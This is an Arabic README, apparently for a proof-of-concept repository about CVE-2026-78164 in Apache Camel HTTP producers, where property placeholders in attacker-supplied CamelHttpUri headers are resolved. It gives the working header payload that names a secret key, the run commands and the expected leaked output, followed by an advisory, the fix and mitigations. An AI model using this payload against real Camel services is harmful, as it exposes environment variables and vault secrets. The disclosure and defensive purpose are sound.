
إثبات مفهوم قابل للتشغيل لـ CVE-2026-78164، يُظهر تسريب الأسرار عندما يقوم منتجو Apache Camel HTTP بحل عناصر نائبة للخصائص في رؤوس CamelHttpUri المقدَّمة من المهاجم.
مُعيد إنتاج إثبات مفهوم قابل للتشغيل لثغرة Apache Camel حيث تسمح عائلات منتج HTTP لرسالة واردة بتجاوز URI الخاص بنقطة النهاية عبر رؤوس CamelHttpUri وCamelRestHttpUri، ثم تمرير ذلك النص المورد من الرسالة عبر CamelContext.resolvePropertyPlaceholders() قبل استخدامه.
حلّ العناصر النائبة للخصائص هو آلية لحل الإعدادات، وليس خطوة من خطوات تحليل URI. فهو يصل إلى متغيرات بيئة نظام التشغيل، وخصائص نظام JVM، وكل PropertiesFunction على مسار الفئة (بما في ذلك دوال الأسرار الخاصة بـ AWS وAzure وGCP وHashiCorp وIBM وCyberArk وKubernetes) — وعبر camel-bean — إلى استدعاء دالة بلا وسائط على أي bean في السجل. وتطبيقه على محتوى Exchange متأثر بالمهاجم يحوّل سلسلة URI إلى سياق لتقييم الإعدادات والـ bean. ولم يشترك مؤلف المسار في أي من ذلك: كان to("http://backend/api") ثابتًا عاديًا كافيًا.
| بيئة التشغيل | الدليل | الحزمة |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (متأثر؛ مُصلح في 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0، متأثر) |
يعود هذا السلوك إلى ما قبل سلسلة 4.x (إذ يعود إلى camel-http4 / camel-netty4)، لذا فإن كل إصدار متأثر وCamel 4.15.0 في أحدث Camel Quarkus عرضة للثغرة. يأتي الإصلاح في Camel 4.18.5 / 4.22.1 / 4.23.0؛ تشغّل وحدة Spring Boot كلاً من البناء المتأثر (4.22.0) والبناء المُصلح (4.22.1). ولا توجد نسخة صادرة من Camel Quarkus تتضمن بعد نسخة Camel مُصلحة.
المسار هو to("http://127.0.0.1:9100/collect") ثابت عادي يشير إلى جامع محلي. يضبط المهاجم رأس CamelHttpUri إلى URI يحمل رمزًا نائبًا لخاصية — دون معرفة قيمة السر، بل بمجرد تسمية المفتاح:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
يقوم التطبيق بتهيئة خاصية نظام JVM cve78164.secret لتكون بديلاً عن أي قيمة إعدادات أو سر من خزنة أسرار. في
النسخة المتأثرة يقوم المنتج بحل العنصر النائب قبل إرسال الطلب، لذا يرى المجمِّع
السر في الاستعلام الصادر. أما في النسخة المُصلحة فيُمرَّر الرمز حرفيًا.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
الناتج المتوقع على البناء المتأثر:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
في البنية المُصلحة، يرى المُجمِّع بدلاً من ذلك GET /collect?leak={{sys:cve78164.secret}} (نص حرفي، غير مُستبدَل).
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (التحييد غير السليم للعناصر الخاصة المستخدمة في محرك القوالب)، CWE-200 (كشف المعلومات) |
| الخطورة | عالية |
| ناقل الهجوم | ترويسة تجاوز CamelHttpUri / CamelRestHttpUri تحمل رمز {{...}}؛ لا يحدّ bridgeEndpoint من النص الأساسي/الترويسات، وتقوم عدة مستهلكين بتعبئة CamelHttpUri من سطر الطلب كميزة وكيل عكسي |
| التأثير | توسيع متغيرات البيئة وخصائص النظام وأسرار الخزنة (vault) داخل الطلب الصادر؛ استدعاء حبوب السجل (registry beans) بدون وسائط؛ أوراكل (oracle) لمعرفة ما إذا كان مفتاح إعدادات مضبوطًا أم لا عبر الخطأ المُعاد |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.1 (السلوك يسبق 4.x) |
| الإصدارات المُصلحة | 4.18.5، 4.22.1، 4.23.0 |
| JIRA | CAMEL-24418 |
| الفضل | [email protected] |
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-78164.html
تتم إزالة استدعاء resolvePropertyPlaceholders() لكل رسالة في كل موقع متأثر، لذا فإن رمز {{...}} الذي
يظهر فقط في CamelHttpUri أو CamelRestHttpUri يُعامَل الآن كجزء حرفي من URI. لا تتأثر العناصر النائبة (placeholders) في
URI الخاص بنقطة النهاية الخاصة بالمسار — إذ يتم استبدالها مرة واحدة، وقت البناء، عند إنشاء نقطة النهاية.
أزل ترويسات التجاوز عند حدود الثقة قبل المنتج (producer) باستخدام removeHeader("CamelHttpUri") و
removeHeader("CamelRestHttpUri")، أو اضبط skipControlHeaders=true على نقاط نهاية camel-http (المكوّن الوحيد
الذي يوفّر هذا الخيار). bridgeEndpoint=true ليس حلاً بديلاً. طبّق HeaderFilterStrategy صارمًا للوارد
على المستهلكين المعرّضين لمرسلين غير موثوقين، واسترجع الأسرار عبر خزنة (vault) بدلاً من متغيرات البيئة/خصائص النظام
التي يمكن لعنصر نائب أن يسمّيها.
يُنشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. "السر" هو عنصر محلي خامل للتجربة. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.